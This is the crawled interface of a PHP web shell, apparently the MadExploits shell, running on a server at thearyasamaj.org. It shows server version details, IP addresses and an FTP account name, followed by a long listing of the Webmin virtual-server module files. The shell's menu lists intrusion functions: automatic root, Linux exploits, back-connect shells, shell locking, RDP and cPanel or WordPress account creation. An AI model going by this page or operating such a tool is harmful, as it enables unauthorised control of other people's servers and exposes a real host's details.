Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.186
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
virtual-server /
[ HOME SHELL ]
Name
Size
Permission
Action
IDNA
[ DIR ]
drwxr-xr-x
PHP
[ DIR ]
drwxr-xr-x
S3
[ DIR ]
drwxr-xr-x
default
[ DIR ]
drwxr-xr-x
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
newfeatures-all
[ DIR ]
drwxr-xr-x
newfeatures-gpl
[ DIR ]
drwxr-xr-x
newfeatures-pro
[ DIR ]
drwxr-xr-x
scripts
[ DIR ]
drwxr-xr-x
CHANGELOG
210.34
KB
-rw-r--r--
EC2-IMAGES
870
B
-rw-r--r--
FUNDING.yml
64
B
-rw-r--r--
LICENSE
34.32
KB
-rw-r--r--
README.md
3.89
KB
-rw-r--r--
S3.pm
4.19
KB
-rw-r--r--
acl_security.pl
2.41
KB
-rwxr-xr-x
add_script.cgi
2.44
KB
-rwxr-xr-x
admins-lib.pl
1.54
KB
-rwxr-xr-x
all_webmin.cgi
374
B
-rwxr-xr-x
assoc.cgi
1
KB
-rwxr-xr-x
assoc_form.cgi
966
B
-rwxr-xr-x
autoconfig.cgi
2.25
KB
-rwxr-xr-x
backup-domain.pl
15.59
KB
-rwxr-xr-x
backup.cgi
9.73
KB
-rwxr-xr-x
backup.pl
9.09
KB
-rwxr-xr-x
backup_config.pl
1.79
KB
-rwxr-xr-x
backup_form.cgi
12.49
KB
-rwxr-xr-x
backup_sched.cgi
6.37
KB
-rwxr-xr-x
backuplog.cgi
3.06
KB
-rwxr-xr-x
backups-lib.pl
171.86
KB
-rwxr-xr-x
break_cert.cgi
521
B
-rwxr-xr-x
bw-template
411
B
-rw-r--r--
bw.pl
7.18
KB
-rwxr-xr-x
bwgraph.cgi
12.02
KB
-rwxr-xr-x
bwreset.cgi
1.62
KB
-rwxr-xr-x
bwreset_form.cgi
1.43
KB
-rwxr-xr-x
cert_form.cgi
15.57
KB
-rwxr-xr-x
cgi_args.pl
2.08
KB
-rwxr-xr-x
change-licence.pl
6.08
KB
-rwxr-xr-x
change-license.pl
6.08
KB
-rwxr-xr-x
change-password.pl
3.65
KB
-rwxr-xr-x
change_users.cgi
230
B
-rwxr-xr-x
check-config.pl
1.87
KB
-rwxr-xr-x
check-scripts.pl
6.06
KB
-rwxr-xr-x
check.cgi
1.69
KB
-rwxr-xr-x
clam-wrapper.pl
1.29
KB
-rwxr-xr-x
clamdscan-remote-wrapper.pl
629
B
-rwxr-xr-x
clone-domain.pl
4.49
KB
-rwxr-xr-x
clone.cgi
2.67
KB
-rwxr-xr-x
clone_form.cgi
1.96
KB
-rwxr-xr-x
cloud-lib.pl
17.74
KB
-rw-r--r--
collect-lib.pl
21.49
KB
-rwxr-xr-x
collectinfo.pl
1.71
KB
-rwxr-xr-x
commands-lib.pl
8.84
KB
-rwxr-xr-x
config
4.81
KB
-rw-r--r--
config-freebsd
4.72
KB
-rw-r--r--
config-system.pl
3.22
KB
-rwxr-xr-x
config.info
14.23
KB
-rw-r--r--
config.info.cs
9.28
KB
-rw-r--r--
config.info.de
11.34
KB
-rw-r--r--
config.info.es
7.73
KB
-rw-r--r--
config.info.fr
4.6
KB
-rw-r--r--
config.info.nl
11.73
KB
-rw-r--r--
config.info.no
10.96
KB
-rw-r--r--
config.info.pl
551
B
-rw-r--r--
config.info.tr
5.48
KB
-rw-r--r--
config_info.pl
714
B
-rwxr-xr-x
copy-mailbox.pl
2.43
KB
-rwxr-xr-x
copy_cert_all.cgi
826
B
-rwxr-xr-x
copycert-lib.pl
20.83
KB
-rw-r--r--
create-admin.pl
5.28
KB
-rwxr-xr-x
create-alias.pl
3.36
KB
-rwxr-xr-x
create-database.pl
4.12
KB
-rwxr-xr-x
create-domain.pl
32.26
KB
-rwxr-xr-x
create-login-link.pl
3.34
KB
-rwxr-xr-x
create-plan.pl
5.38
KB
-rwxr-xr-x
create-redirect.pl
4.1
KB
-rwxr-xr-x
create-rs-container.pl
1.87
KB
-rwxr-xr-x
create-s3-bucket.pl
1.77
KB
-rwxr-xr-x
create-shared-address.pl
3.33
KB
-rwxr-xr-x
create-simple-alias.pl
5.36
KB
-rwxr-xr-x
create-template.pl
2.56
KB
-rwxr-xr-x
create-user.pl
11.97
KB
-rwxr-xr-x
create_newmysql.cgi
1.31
KB
-rwxr-xr-x
createvirtualminmodule.sh
1.39
KB
-rwxr-xr-x
cron-lib.pl
6.33
KB
-rw-r--r--
cron_chooser.cgi
722
B
-rwxr-xr-x
cron_select.cgi
641
B
-rwxr-xr-x
csr.cgi
5.2
KB
-rwxr-xr-x
defaultacl
118
B
-rw-r--r--
delete-admin.pl
1.79
KB
-rwxr-xr-x
delete-alias.pl
2.36
KB
-rwxr-xr-x
delete-backup.pl
1.78
KB
-rwxr-xr-x
delete-database.pl
2.24
KB
-rwxr-xr-x
delete-domain.pl
3
KB
-rwxr-xr-x
delete-php-directory.pl
1.86
KB
-rwxr-xr-x
delete-plan.pl
1.75
KB
-rwxr-xr-x
delete-redirect.pl
1.93
KB
-rwxr-xr-x
delete-rs-container.pl
2.08
KB
-rwxr-xr-x
delete-rs-file.pl
2.08
KB
-rwxr-xr-x
delete-s3-bucket.pl
1.9
KB
-rwxr-xr-x
delete-s3-file.pl
1.94
KB
-rwxr-xr-x
delete-script.pl
4.39
KB
-rwxr-xr-x
delete-shared-address.pl
2.18
KB
-rwxr-xr-x
delete-template.pl
1.81
KB
-rwxr-xr-x
delete-user.pl
2.75
KB
-rwxr-xr-x
delete_admins.cgi
704
B
-rwxr-xr-x
delete_aliases.cgi
871
B
-rwxr-xr-x
delete_backup.cgi
1.24
KB
-rwxr-xr-x
delete_databases.cgi
2.33
KB
-rwxr-xr-x
delete_domain.cgi
3.33
KB
-rwxr-xr-x
delete_newmysqls.cgi
1.6
KB
-rwxr-xr-x
delete_plans.cgi
698
B
-rwxr-xr-x
delete_postgrey.cgi
722
B
-rwxr-xr-x
delete_records.cgi
1.36
KB
-rwxr-xr-x
delete_redirects.cgi
822
B
-rwxr-xr-x
delete_scheds.cgi
1.06
KB
-rwxr-xr-x
delete_tmpls.cgi
1.15
KB
-rwxr-xr-x
delete_users.cgi
3.25
KB
-rwxr-xr-x
disable-domain.pl
2.45
KB
-rwxr-xr-x
disable-feature.pl
4.64
KB
-rwxr-xr-x
disable-limit.pl
3.64
KB
-rwxr-xr-x
disable-writelogs.pl
2.2
KB
-rwxr-xr-x
disable_clamd.cgi
543
B
-rwxr-xr-x
disable_domain.cgi
2.36
KB
-rwxr-xr-x
disable_mod_php.cgi
2.76
KB
-rwxr-xr-x
disable_postgrey.cgi
428
B
-rwxr-xr-x
disable_scripts.cgi
649
B
-rwxr-xr-x
disable_spamd.cgi
539
B
-rwxr-xr-x
disconnect-database.pl
2.43
KB
-rwxr-xr-x
dkim-lib.pl
38.03
KB
-rw-r--r--
dkim.cgi
3.55
KB
-rwxr-xr-x
dnscloud-lib.pl
11.45
KB
-rw-r--r--
dnsclouds.cgi
1.28
KB
-rwxr-xr-x
domain-template
1.46
KB
-rw-r--r--
domain_form.cgi
22.15
KB
-rwxr-xr-x
domain_setup.cgi
15.96
KB
-rwxr-xr-x
domainname-lib.pl
3.43
KB
-rwxr-xr-x
downgrade-licence.pl
5.79
KB
-rwxr-xr-x
downgrade-license.pl
5.79
KB
-rwxr-xr-x
download-dropbox-file.pl
1.59
KB
-rwxr-xr-x
download-rs-file.pl
2.45
KB
-rwxr-xr-x
download-s3-file.pl
2.25
KB
-rwxr-xr-x
download_backup.cgi
1.15
KB
-rw-r--r--
download_cert.cgi
647
B
-rwxr-xr-x
download_key.cgi
638
B
-rwxr-xr-x
dynip-lib.pl
4.64
KB
-rwxr-xr-x
dynip.pl
2.49
KB
-rwxr-xr-x
edit_2fa.cgi
1.41
KB
-rwxr-xr-x
edit_admin.cgi
4.26
KB
-rwxr-xr-x
edit_afile.cgi
1.08
KB
-rwxr-xr-x
edit_alias.cgi
3.73
KB
-rwxr-xr-x
edit_bucket.cgi
4.87
KB
-rwxr-xr-x
edit_cloud.cgi
2.33
KB
-rwxr-xr-x
edit_database.cgi
3.83
KB
-rwxr-xr-x
edit_defaults.cgi
2.79
KB
-rwxr-xr-x
edit_dnscloud.cgi
2.1
KB
-rwxr-xr-x
edit_domain.cgi
12.4
KB
-rwxr-xr-x
edit_domdkim.cgi
2.19
KB
-rwxr-xr-x
edit_exclude.cgi
1.08
KB
-rwxr-xr-x
edit_ffile.cgi
2.16
KB
-rwxr-xr-x
edit_limits.cgi
7.49
KB
-rwxr-xr-x
edit_link.cgi
2.65
KB
-rwxr-xr-x
edit_mail.cgi
3.11
KB
-rwxr-xr-x
edit_mailusers.cgi
1.76
KB
-rwxr-xr-x
edit_newautoconfig.cgi
670
B
-rwxr-xr-x
edit_newbw.cgi
6.32
KB
-rwxr-xr-x
edit_newchangelog.cgi
573
B
-rwxr-xr-x
edit_newchroot.cgi
1.77
KB
-rwxr-xr-x
edit_newdynip.cgi
2.19
KB
-rwxr-xr-x
edit_newfeatures.cgi
3.86
KB
-rwxr-xr-x
edit_newfields.cgi
1.25
KB
-rwxr-xr-x
edit_newglobal.cgi
1002
B
-rwxr-xr-x
edit_newips.cgi
2.01
KB
-rwxr-xr-x
edit_newlinks.cgi
2.33
KB
-rwxr-xr-x
edit_newmxs.cgi
1.19
KB
-rwxr-xr-x
edit_newmysqls.cgi
2.48
KB
-rwxr-xr-x
edit_newnotify.cgi
1.56
KB
-rwxr-xr-x
edit_newplan.cgi
2.14
KB
-rwxr-xr-x
edit_newquotacheck.cgi
1.12
KB
-rwxr-xr-x
edit_newquotas.cgi
1.95
KB
-rwxr-xr-x
edit_newretention.cgi
1.44
KB
-rwxr-xr-x
edit_newscripts.cgi
10.62
KB
-rwxr-xr-x
edit_newsharedips.cgi
1.61
KB
-rwxr-xr-x
edit_newshells.cgi
2.04
KB
-rwxr-xr-x
edit_newsv.cgi
4.67
KB
-rwxr-xr-x
edit_newtmpl.cgi
1.95
KB
-rwxr-xr-x
edit_newupgrade.cgi
869
B
-rwxr-xr-x
edit_newvalidate.cgi
5.38
KB
-rwxr-xr-x
edit_pass.cgi
1.2
KB
-rwxr-xr-x
edit_phpmode.cgi
8.28
KB
-rw-r--r--
edit_plan.cgi
7.82
KB
-rwxr-xr-x
edit_plugconfig.cgi
1.21
KB
-rwxr-xr-x
edit_postgrey.cgi
1.31
KB
-rwxr-xr-x
edit_record.cgi
5.69
KB
-rwxr-xr-x
edit_redirect.cgi
2.65
KB
-rwxr-xr-x
edit_rfile.cgi
2.13
KB
-rwxr-xr-x
edit_script.cgi
4.95
KB
-rwxr-xr-x
edit_spam.cgi
3.26
KB
-rwxr-xr-x
edit_spf.cgi
3.78
KB
-rwxr-xr-x
edit_tmpl.cgi
4.7
KB
-rwxr-xr-x
edit_user.cgi
16.73
KB
-rwxr-xr-x
edit_vfile.cgi
2.79
KB
-rwxr-xr-x
edit_website.cgi
4.62
KB
-rwxr-xr-x
enable-domain.pl
2.02
KB
-rwxr-xr-x
enable-feature.pl
5.32
KB
-rwxr-xr-x
enable-limit.pl
3.6
KB
-rwxr-xr-x
enable-writelogs.pl
2.57
KB
-rwxr-xr-x
enable_clamd.cgi
520
B
-rwxr-xr-x
enable_dkim.cgi
1.57
KB
-rwxr-xr-x
enable_domain.cgi
2.05
KB
-rwxr-xr-x
enable_postgrey.cgi
425
B
-rwxr-xr-x
enable_spamd.cgi
521
B
-rwxr-xr-x
expframe_form.cgi
798
B
-rwxr-xr-x
feature-dir.pl
32.37
KB
-rwxr-xr-x
feature-dns.pl
143.74
KB
-rwxr-xr-x
feature-ftp.pl
18.18
KB
-rwxr-xr-x
feature-logrotate.pl
17.37
KB
-rwxr-xr-x
feature-mail.pl
191.23
KB
-rwxr-xr-x
feature-mysql.pl
102.19
KB
-rwxr-xr-x
feature-postgres.pl
32.16
KB
-rwxr-xr-x
feature-spam.pl
49.28
KB
-rwxr-xr-x
feature-ssl.pl
93.96
KB
-rwxr-xr-x
feature-status.pl
10.7
KB
-rwxr-xr-x
feature-unix.pl
37.38
KB
-rwxr-xr-x
feature-virt.pl
14.13
KB
-rwxr-xr-x
feature-virt6.pl
13.73
KB
-rwxr-xr-x
feature-virus.pl
24
KB
-rwxr-xr-x
feature-web.pl
152.92
KB
-rwxr-xr-x
feature-webalizer.pl
19.4
KB
-rwxr-xr-x
feature-webmin.pl
39.81
KB
-rwxr-xr-x
fetch-script-files.pl
2.61
KB
-rwxr-xr-x
fix-domain-permissions.pl
2.39
KB
-rwxr-xr-x
fix-domain-quota.pl
2.21
KB
-rwxr-xr-x
fix_symlinks.cgi
2.47
KB
-rwxr-xr-x
fixperms.cgi
1.07
KB
-rwxr-xr-x
fixttl.cgi
1.18
KB
-rwxr-xr-x
fixvirtualminrepos.sh
43.58
KB
-rw-r--r--
frame_form.cgi
1.36
KB
-rwxr-xr-x
framefwd-template
639
B
-rw-r--r--
ftp-lib.pl
8.43
KB
-rw-r--r--
generate-cert.pl
7.58
KB
-rwxr-xr-x
generate-letsencrypt-cert.pl
6.86
KB
-rwxr-xr-x
generate-script-sites.pl
1.38
KB
-rwxr-xr-x
get-command.pl
3.73
KB
-rwxr-xr-x
get-dns.pl
4.23
KB
-rwxr-xr-x
get-logs.pl
2.26
KB
-rwxr-xr-x
get-ssl.pl
2.07
KB
-rwxr-xr-x
get-template.pl
2.58
KB
-rwxr-xr-x
import-database.pl
2.94
KB
-rwxr-xr-x
import.cgi
18.24
KB
-rwxr-xr-x
import_database.cgi
1.18
KB
-rwxr-xr-x
import_form.cgi
3.76
KB
-rwxr-xr-x
index.cgi
10.14
KB
-rwxr-xr-x
info.pl
3.36
KB
-rwxr-xr-x
install-cert.pl
8.31
KB
-rwxr-xr-x
install-script.pl
14.06
KB
-rwxr-xr-x
install-service-cert.pl
3.77
KB
-rwxr-xr-x
install-type
4
B
-rw-r--r--
install_awscli.cgi
576
B
-rwxr-xr-x
install_dkim.cgi
442
B
-rwxr-xr-x
install_postgrey.cgi
471
B
-rwxr-xr-x
install_ratelimit.cgi
1.54
KB
-rwxr-xr-x
jailkit-lib.pl
9.32
KB
-rw-r--r--
json-lib.pl
6.43
KB
-rwxr-xr-x
kill_running.cgi
702
B
-rwxr-xr-x
latest-scripts-key.asc
1.75
KB
-rw-r--r--
lets-encrypt-x3-cross-signed.p...
1.61
KB
-rw-r--r--
letsencrypt.cgi
5.22
KB
-rwxr-xr-x
licence-info.pl
1.54
KB
-rwxr-xr-x
licence.cgi
1.68
KB
-rwxr-xr-x
licence.pl
337
B
-rwxr-xr-x
license-info.pl
1.54
KB
-rwxr-xr-x
license.pl
337
B
-rwxr-xr-x
link.cgi
7.54
KB
-rwxr-xr-x
list-admins.pl
2.93
KB
-rwxr-xr-x
list-aliases.pl
3.72
KB
-rwxr-xr-x
list-available-scripts.pl
3.59
KB
-rwxr-xr-x
list-available-shells.pl
2.84
KB
-rwxr-xr-x
list-backup-keys.pl
1.89
KB
-rwxr-xr-x
list-backup-logs.pl
6
KB
-rwxr-xr-x
list-bandwidth.pl
3.53
KB
-rwxr-xr-x
list-certs-expiry.pl
5.68
KB
-rwxr-xr-x
list-certs.pl
2.79
KB
-rwxr-xr-x
list-commands.pl
3.04
KB
-rwxr-xr-x
list-custom.pl
2.65
KB
-rwxr-xr-x
list-databases.pl
3.45
KB
-rwxr-xr-x
list-domains.pl
28.3
KB
-rwxr-xr-x
list-dropbox-files.pl
2.8
KB
-rwxr-xr-x
list-features.pl
3.48
KB
-rwxr-xr-x
list-gcs-buckets.pl
2.41
KB
-rwxr-xr-x
list-gcs-files.pl
2.37
KB
-rwxr-xr-x
list-mailbox.pl
2.96
KB
-rwxr-xr-x
list-mysql-servers.pl
2.07
KB
-rwxr-xr-x
list-php-directories.pl
2.6
KB
-rwxr-xr-x
list-php-ini.pl
3.07
KB
-rwxr-xr-x
list-php-versions.pl
2.62
KB
-rwxr-xr-x
list-plans.pl
4.05
KB
-rwxr-xr-x
list-redirects.pl
2.69
KB
-rwxr-xr-x
list-rs-containers.pl
2.92
KB
-rwxr-xr-x
list-rs-files.pl
3.14
KB
-rwxr-xr-x
list-s3-buckets.pl
3.92
KB
-rwxr-xr-x
list-s3-files.pl
2.88
KB
-rwxr-xr-x
list-scheduled-backups.pl
5.09
KB
-rwxr-xr-x
list-scripts.pl
4.92
KB
-rwxr-xr-x
list-server-statuses.pl
1.54
KB
-rwxr-xr-x
list-service-certs.pl
2.31
KB
-rwxr-xr-x
list-shared-addresses.pl
2.57
KB
-rwxr-xr-x
list-simple-aliases.pl
3.35
KB
-rwxr-xr-x
list-templates.pl
2.2
KB
-rwxr-xr-x
list-users.pl
9.88
KB
-rwxr-xr-x
list_admins.cgi
1.57
KB
-rwxr-xr-x
list_aliases.cgi
3.24
KB
-rwxr-xr-x
list_buckets.cgi
1.61
KB
-rwxr-xr-x
list_clouds.cgi
1.03
KB
-rwxr-xr-x
list_databases.cgi
9.24
KB
-rwxr-xr-x
list_records.cgi
4.2
KB
-rwxr-xr-x
list_redirects.cgi
1.52
KB
-rwxr-xr-x
list_running.cgi
1.6
KB
-rwxr-xr-x
list_sched.cgi
2.75
KB
-rwxr-xr-x
list_scripts.cgi
7.05
KB
-rwxr-xr-x
list_users.cgi
2.75
KB
-rwxr-xr-x
log_parser.pl
5.62
KB
-rwxr-xr-x
lookup-domain-daemon.pl
5.58
KB
-rwxr-xr-x
lookup-domain.pl
5.61
KB
-rwxr-xr-x
mailclient.cgi
2.53
KB
-rwxr-xr-x
maillog.pl
348
B
-rwxr-xr-x
mailusers.cgi
1.44
KB
-rwxr-xr-x
manual_records.cgi
1.21
KB
-rwxr-xr-x
manual_records_save.cgi
1.62
KB
-rwxr-xr-x
mass_aedit.cgi
4.37
KB
-rwxr-xr-x
mass_aedit_form.cgi
1.69
KB
-rwxr-xr-x
mass_change.cgi
5.5
KB
-rwxr-xr-x
mass_create.cgi
10.71
KB
-rwxr-xr-x
mass_create_form.cgi
3.64
KB
-rwxr-xr-x
mass_form.cgi
2.06
KB
-rwxr-xr-x
mass_scripts.cgi
4.62
KB
-rwxr-xr-x
mass_ucreate.cgi
8.07
KB
-rwxr-xr-x
mass_ucreate_form.cgi
1.76
KB
-rwxr-xr-x
mass_uninstall.cgi
2.81
KB
-rwxr-xr-x
mass_upgrade.cgi
4.13
KB
-rwxr-xr-x
migrate-domain.pl
10.18
KB
-rwxr-xr-x
migrate.cgi
4.21
KB
-rwxr-xr-x
migrate_form.cgi
2.68
KB
-rwxr-xr-x
migration-cpanel.pl
48.22
KB
-rwxr-xr-x
migration-directadmin.pl
19.92
KB
-rwxr-xr-x
migration-ensim.pl
21.02
KB
-rwxr-xr-x
migration-lxadmin.pl
16.11
KB
-rwxr-xr-x
migration-plesk.pl
34.62
KB
-rwxr-xr-x
migration-plesk9.pl
31.77
KB
-rwxr-xr-x
migration-psa.pl
21.55
KB
-rwxr-xr-x
modify-admin.pl
6.72
KB
-rwxr-xr-x
modify-all-ips.pl
3.18
KB
-rwxr-xr-x
modify-custom.pl
2.81
KB
-rwxr-xr-x
modify-database-hosts.pl
3.94
KB
-rwxr-xr-x
modify-database-pass.pl
2.97
KB
-rwxr-xr-x
modify-database-user.pl
3.15
KB
-rwxr-xr-x
modify-dns.pl
21.94
KB
-rwxr-xr-x
modify-domain.pl
28.85
KB
-rwxr-xr-x
modify-limits.pl
10.91
KB
-rwxr-xr-x
modify-mail.pl
13.6
KB
-rwxr-xr-x
modify-php-ini.pl
5.11
KB
-rwxr-xr-x
modify-plan.pl
6.68
KB
-rwxr-xr-x
modify-spam.pl
9.9
KB
-rwxr-xr-x
modify-template.pl
3.33
KB
-rwxr-xr-x
modify-user.pl
19.19
KB
-rwxr-xr-x
modify-web.pl
29.91
KB
-rwxr-xr-x
module.info
241
B
-rw-r--r--
module.info.cs
39
B
-rw-r--r--
module.info.de
36
B
-rw-r--r--
module.info.es.auto
43
B
-rw-r--r--
module.info.fr
37
B
-rw-r--r--
module.info.it.auto
35
B
-rw-r--r--
module.info.ja.auto
37
B
-rw-r--r--
module.info.nl
36
B
-rw-r--r--
module.info.no
37
B
-rw-r--r--
module.info.pl
37
B
-rw-r--r--
module.info.pt_BR.auto
42
B
-rw-r--r--
module.info.ru.auto
57
B
-rw-r--r--
module.info.tr
37
B
-rw-r--r--
module.info.tr.auto
37
B
-rw-r--r--
module.info.zh.auto
34
B
-rw-r--r--
module.info.zh_TW.auto
37
B
-rw-r--r--
move-domain.pl
4.58
KB
-rwxr-xr-x
move.cgi
2.48
KB
-rwxr-xr-x
move_form.cgi
1.84
KB
-rwxr-xr-x
move_newlinks.cgi
439
B
-rwxr-xr-x
newchain.cgi
2.59
KB
-rwxr-xr-x
newfeatures-lib.pl
7.87
KB
-rwxr-xr-x
newip_form.cgi
5.38
KB
-rwxr-xr-x
newkey.cgi
5.56
KB
-rwxr-xr-x
notify-domains.pl
5.01
KB
-rwxr-xr-x
notify.cgi
1.69
KB
-rwxr-xr-x
oauth.cgi
1.94
KB
-rwxr-xr-x
peripcerts.cgi
1.07
KB
-rwxr-xr-x
php-lib.pl
78.99
KB
-rwxr-xr-x
plans-lib.pl
9.45
KB
-rwxr-xr-x
ports-lib.pl
4.84
KB
-rw-r--r--
postgres-encodings
1.79
KB
-rw-r--r--
postgrey-lib.pl
11.65
KB
-rwxr-xr-x
postgrey.cgi
2.41
KB
-rwxr-xr-x
postinstall.pl
17.58
KB
-rwxr-xr-x
postsave.cgi
1.31
KB
-rwxr-xr-x
prefs.info
133
B
-rw-r--r--
pro-tip-lib.pl
11.54
KB
-rwxr-xr-x
procmail-logger.pl
934
B
-rwxr-xr-x
procmail-wrapper
8.66
KB
-rwxr-xr-x
procmail-wrapper.c
593
B
-rw-r--r--
provision-lib.pl
2.94
KB
-rw-r--r--
provision.cgi
1.54
KB
-rwxr-xr-x
proxy_form.cgi
803
B
-rwxr-xr-x
public_suffix_list.dat
239.33
KB
-rw-r--r--
quotacheck.cgi
1.05
KB
-rwxr-xr-x
quotas.pl
7.29
KB
-rwxr-xr-x
ratelimit-lib.pl
16.14
KB
-rw-r--r--
ratelimit.cgi
2.83
KB
-rwxr-xr-x
recollect.cgi
630
B
-rwxr-xr-x
recollect_whois.cgi
598
B
-rwxr-xr-x
recovery.cgi
2.22
KB
-rwxr-xr-x
redirects-lib.pl
9.16
KB
-rw-r--r--
reemail.cgi
804
B
-rwxr-xr-x
remote.cgi
3.44
KB
-rwxr-xr-x
remove_cert.cgi
1.44
KB
-rwxr-xr-x
rename-domain.pl
2.79
KB
-rwxr-xr-x
rename.cgi
1.8
KB
-rwxr-xr-x
rename_form.cgi
2.84
KB
-rwxr-xr-x
reseller-template
242
B
-rw-r--r--
resend-email.pl
1.43
KB
-rwxr-xr-x
reset-feature.pl
5.47
KB
-rwxr-xr-x
reset_features.cgi
2.89
KB
-rwxr-xr-x
restart_feature.cgi
1.26
KB
-rwxr-xr-x
restart_script.cgi
1.36
KB
-rwxr-xr-x
restore-domain.pl
16.65
KB
-rwxr-xr-x
restore.cgi
10.66
KB
-rwxr-xr-x
restore_form.cgi
5.72
KB
-rwxr-xr-x
rs-lib.pl
11.23
KB
-rw-r--r--
run-all-webalizer.pl
1.35
KB
-rwxr-xr-x
run-api-command.pl
8.23
KB
-rwxr-xr-x
s3-lib.pl
30.71
KB
-rwxr-xr-x
save_2fa.cgi
3.06
KB
-rwxr-xr-x
save_admin.cgi
2.93
KB
-rwxr-xr-x
save_afile.cgi
738
B
-rwxr-xr-x
save_alias.cgi
3.03
KB
-rwxr-xr-x
save_bucket.cgi
5.6
KB
-rwxr-xr-x
save_cloud.cgi
1
KB
-rwxr-xr-x
save_database.cgi
4.16
KB
-rwxr-xr-x
save_dbhosts.cgi
1.24
KB
-rwxr-xr-x
save_dbname.cgi
1.79
KB
-rwxr-xr-x
save_dbpass.cgi
1.44
KB
-rwxr-xr-x
save_defaults.cgi
2.27
KB
-rwxr-xr-x
save_defplan.cgi
560
B
-rwxr-xr-x
save_dnscloud.cgi
1.04
KB
-rwxr-xr-x
save_domain.cgi
9.88
KB
-rwxr-xr-x
save_domdkim.cgi
910
B
-rwxr-xr-x
save_exclude.cgi
899
B
-rwxr-xr-x
save_expframe.cgi
613
B
-rwxr-xr-x
save_ffile.cgi
1.04
KB
-rwxr-xr-x
save_frame.cgi
1.63
KB
-rwxr-xr-x
save_limits.cgi
3.75
KB
-rwxr-xr-x
save_link.cgi
1.08
KB
-rwxr-xr-x
save_linkcats.cgi
635
B
-rwxr-xr-x
save_mail.cgi
4.86
KB
-rwxr-xr-x
save_mysqlremote.cgi
1.09
KB
-rwxr-xr-x
save_newautoconfig.cgi
1.18
KB
-rwxr-xr-x
save_newbw.cgi
3.01
KB
-rwxr-xr-x
save_newchroot.cgi
1.5
KB
-rwxr-xr-x
save_newdynip.cgi
1.64
KB
-rwxr-xr-x
save_newfeatures.cgi
3.05
KB
-rwxr-xr-x
save_newfields.cgi
808
B
-rwxr-xr-x
save_newglobal.cgi
728
B
-rwxr-xr-x
save_newip.cgi
9.77
KB
-rwxr-xr-x
save_newips.cgi
3.89
KB
-rwxr-xr-x
save_newmxs.cgi
3.86
KB
-rwxr-xr-x
save_newquotas.cgi
1.75
KB
-rwxr-xr-x
save_newretention.cgi
1.03
KB
-rwxr-xr-x
save_newsharedips.cgi
2.46
KB
-rwxr-xr-x
save_newshells.cgi
1.77
KB
-rwxr-xr-x
save_newsv.cgi
3.72
KB
-rwxr-xr-x
save_pass.cgi
3.21
KB
-rwxr-xr-x
save_phpmode.cgi
6.27
KB
-rw-r--r--
save_plan.cgi
3.75
KB
-rwxr-xr-x
save_plugconfig.cgi
988
B
-rwxr-xr-x
save_postgrey.cgi
1.19
KB
-rwxr-xr-x
save_provision.cgi
5.32
KB
-rwxr-xr-x
save_proxy.cgi
1.47
KB
-rwxr-xr-x
save_ratelimit.cgi
4.85
KB
-rwxr-xr-x
save_record.cgi
4.31
KB
-rwxr-xr-x
save_redirect.cgi
2.76
KB
-rwxr-xr-x
save_rfile.cgi
1.04
KB
-rwxr-xr-x
save_scriptallow.cgi
384
B
-rwxr-xr-x
save_scriptlatest.cgi
926
B
-rwxr-xr-x
save_scriptwarn.cgi
1.35
KB
-rwxr-xr-x
save_spam.cgi
2.74
KB
-rwxr-xr-x
save_spf.cgi
3.63
KB
-rwxr-xr-x
save_tmpl.cgi
3.54
KB
-rwxr-xr-x
save_user.cgi
20.06
KB
-rwxr-xr-x
save_validate.cgi
1.69
KB
-rwxr-xr-x
save_vfile.cgi
1.72
KB
-rwxr-xr-x
save_website.cgi
6.41
KB
-rwxr-xr-x
script_form.cgi
5.87
KB
-rwxr-xr-x
script_install.cgi
6.83
KB
-rwxr-xr-x
scriptlatest.pl
5.42
KB
-rwxr-xr-x
scripts-lib.pl
103.4
KB
-rwxr-xr-x
scriptwarn.pl
3.91
KB
-rwxr-xr-x
search.cgi
2.18
KB
-rwxr-xr-x
security-lib.pl
19.54
KB
-rwxr-xr-x
seen_newfeatures.cgi
349
B
-rwxr-xr-x
set-dkim.pl
3.67
KB
-rwxr-xr-x
set-global-feature.pl
5.66
KB
-rwxr-xr-x
set-mysql-pass.pl
2.01
KB
-rwxr-xr-x
set-php-directory.pl
2.87
KB
-rwxr-xr-x
set-spam.pl
7.9
KB
-rwxr-xr-x
set_seen_pro_tip.cgi
243
B
-rwxr-xr-x
setup-repos.pl
3.06
KB
-rwxr-xr-x
showpass.cgi
1.45
KB
-rwxr-xr-x
showphpinfo.cgi
1.02
KB
-rwxr-xr-x
sign-script-installers.pl
4.15
KB
-rwxr-xr-x
simple-lib.pl
17.77
KB
-rwxr-xr-x
spamclear.pl
8.11
KB
-rwxr-xr-x
spamconfig.pl
1.15
KB
-rwxr-xr-x
spamtrap.pl
8.42
KB
-rwxr-xr-x
start-stop-script.pl
3.96
KB
-rwxr-xr-x
start_feature.cgi
983
B
-rwxr-xr-x
start_script.cgi
1.15
KB
-rwxr-xr-x
stats-lib.pl
3.26
KB
-rw-r--r--
stop_feature.cgi
975
B
-rwxr-xr-x
stop_script.cgi
1.04
KB
-rwxr-xr-x
subdomain-template
1.04
KB
-rw-r--r--
summary_domain.cgi
7.06
KB
-rwxr-xr-x
switch_theme.cgi
1.28
KB
-rwxr-xr-x
switch_user.cgi
1.17
KB
-rwxr-xr-x
syncmx-domain.pl
2.22
KB
-rwxr-xr-x
system_info.pl
20.96
KB
-rw-r--r--
test-imap.pl
2.64
KB
-rwxr-xr-x
test-pop3.pl
2.19
KB
-rwxr-xr-x
test-smtp.pl
6.29
KB
-rwxr-xr-x
transfer-domain.pl
4.47
KB
-rwxr-xr-x
transfer.cgi
1.96
KB
-rwxr-xr-x
transfer_form.cgi
3.31
KB
-rwxr-xr-x
unalias-domain.pl
1.9
KB
-rwxr-xr-x
unalias.cgi
1.18
KB
-rwxr-xr-x
uninstall.pl
616
B
-rwxr-xr-x
unscript_install.cgi
3.12
KB
-rwxr-xr-x
unsub-domain.pl
1.93
KB
-rwxr-xr-x
unsub.cgi
1.05
KB
-rwxr-xr-x
update-template
416
B
